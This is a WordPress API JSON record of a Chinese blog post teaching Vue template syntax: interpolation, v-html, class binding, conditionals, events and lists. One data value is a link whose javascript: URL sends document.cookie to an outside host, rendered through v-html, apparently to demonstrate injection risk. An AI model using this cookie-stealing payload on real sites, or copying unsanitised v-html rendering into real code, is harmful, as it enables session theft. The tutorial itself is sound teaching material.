{"id":504,"date":"2020-02-26T16:51:59","date_gmt":"2020-02-26T08:51:59","guid":{"rendered":"https:\/\/blog.cqdefxxx.com\/?p=504"},"modified":"2020-02-26T16:51:59","modified_gmt":"2020-02-26T08:51:59","slug":"vue%e6%a8%a1%e7%89%88%e8%af%ad%e6%b3%95","status":"publish","type":"post","link":"https:\/\/blog.viter.top\/index.php\/2020\/02\/26\/vue%e6%a8%a1%e7%89%88%e8%af%ad%e6%b3%95\/","title":{"rendered":"Vue\u6a21\u7248\u8bed\u6cd5"},"content":{"rendered":"<pre class=\"pure-highlightjs\"><code class=\"\">&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n&lt;meta charset=\"utf-8\"&gt;\n&lt;meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\"&gt;\n&lt;title&gt;Examples&lt;\/title&gt;\n&lt;meta name=\"description\" content=\"\"&gt;\n&lt;meta name=\"keywords\" content=\"kerwin qianfeng \"&gt;\n&lt;link href=\"\" rel=\"stylesheet\"&gt;\n&lt;script src=\"lib\/vue.js\"&gt;&lt;\/script&gt;\n\n\n&lt;style&gt;\n    .red{\n        background: red;\n    }\n\n    .yellow{\n        background: yellow;\n    }\n&lt;\/style&gt;\n\n&lt;\/head&gt;\n\n&lt;body&gt;\n    &lt;div id=\"box\"&gt;\n      {{10+20}}\n    \n      {{ title }}\n\n      {{ title + 'title' }}\n\n      {{ 10&gt;20? 'aaa':'bbb'}}\n\n      {{ title.substring(0,1) }}\n\n      {{ myhtml }}\n\n      &lt;br\/&gt;\n     \n       &lt;div v-html=\"myhtml\"&gt;&lt;\/div&gt;\n      &lt;!-- \u6307\u4ee4 v-html \u4e13\u95e8\u8d1f\u8d23\u663e\u793a\u5e26\u6807\u7b7e\u7684\u4ee3\u7801\u7247\u6bb5 \u80fd\u591f\u89e3\u6790html--&gt;\n\n      &lt;div v-bind:class=\"isActive?'red':'yellow'\"&gt;\u52a8\u6001\u5207\u6362class&lt;\/div&gt;\n\n      &lt;img :src=\"imgsrc\"\/&gt;\n\n      &lt;div v-if=\"isCreated\"&gt;\u6211\u662f\u52a8\u6001\u521b\u5efa\u548c\u5220\u9664&lt;\/div&gt;\n      &lt;div v-show=\"isCreated\"&gt;\u6211\u662f\u52a8\u6001\u9690\u85cf\u548c\u663e\u793a&lt;\/div&gt;\n\n      &lt;button v-on:click=\"handleKerwinClick()\"&gt;click&lt;\/button&gt;\n      &lt;button @click=\"handleKerwinClick()\"&gt;click2&lt;\/button&gt;\n      &lt;ul&gt;\n        &lt;li v-for=\"item,index in datalist\"&gt;\n            {{item}}---------{{index}}\n        &lt;\/li&gt;\n      &lt;\/ul&gt;\n    &lt;\/div&gt;\n\n    &lt;!-- {{10+20}}  --&gt;\n    &lt;script type=\"text\/javascript\"&gt;\n\n      var vm = new Vue({\n        el:\"#box\", \/\/ el \u662f\u56fa\u5b9a\u7684\u5199\u6cd5\n        data: { \/\/data\u662f\u653e\u6570\u636e\u7684\u5730\u65b9\uff0c \u5c06\u6765\u53ef\u4ee5\u901a\u8fc7\u6539\u53d8\u6570\u636e \u9a71\u52a8\u9875\u9762\u66f4\u65b0\n          title:\"kerwin\",\n          isCreated:true,\n          myhtml:\"&lt;a href=javascript:location.href='http:\/\/www.baidu.com?cookie='+document.cookie&gt;click&lt;\/a&gt;\",\n          isActive:true,\n          datalist:[],\n          imgsrc:\"\"\n        }, \/\/\u72b6\u6001\n\n        methods:{\n          handleKerwinClick:function(){\n            \/\/ console.log(\"111\");\n            this.isActive = !this.isActive;\n            this.title=\"xiaoming\";\n\n            setTimeout(() =&gt; {\n                this.imgsrc=\"https:\/\/static.maizuo.com\/pc\/v5\/usr\/movie\/a2d61d2ac9452a246cba2354162fcab9.jpg?x-oss-process=image\/quality,Q_70\"\n\n                this.datalist= [\"1111\",\"22222\",\"33333\",\"55555\",\"66666\"]\n            }, 2000)\n          }\n        }\n      })\n\n      \/\/ var vm2= new Vue({\n      \/\/   el:\"#box2\"\n      \/\/ })\n\n    &lt;\/script&gt;\n    \n&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset= &#8230;<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[],"tags":[9,10],"_links":{"self":[{"href":"https:\/\/blog.viter.top\/index.php\/wp-json\/wp\/v2\/posts\/504"}],"collection":[{"href":"https:\/\/blog.viter.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viter.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viter.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viter.top\/index.php\/wp-json\/wp\/v2\/comments?post=504"}],"version-history":[{"count":0,"href":"https:\/\/blog.viter.top\/index.php\/wp-json\/wp\/v2\/posts\/504\/revisions"}],"wp:attachment":[{"href":"https:\/\/blog.viter.top\/index.php\/wp-json\/wp\/v2\/media?parent=504"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viter.top\/index.php\/wp-json\/wp\/v2\/categories?post=504"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viter.top\/index.php\/wp-json\/wp\/v2\/tags?post=504"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}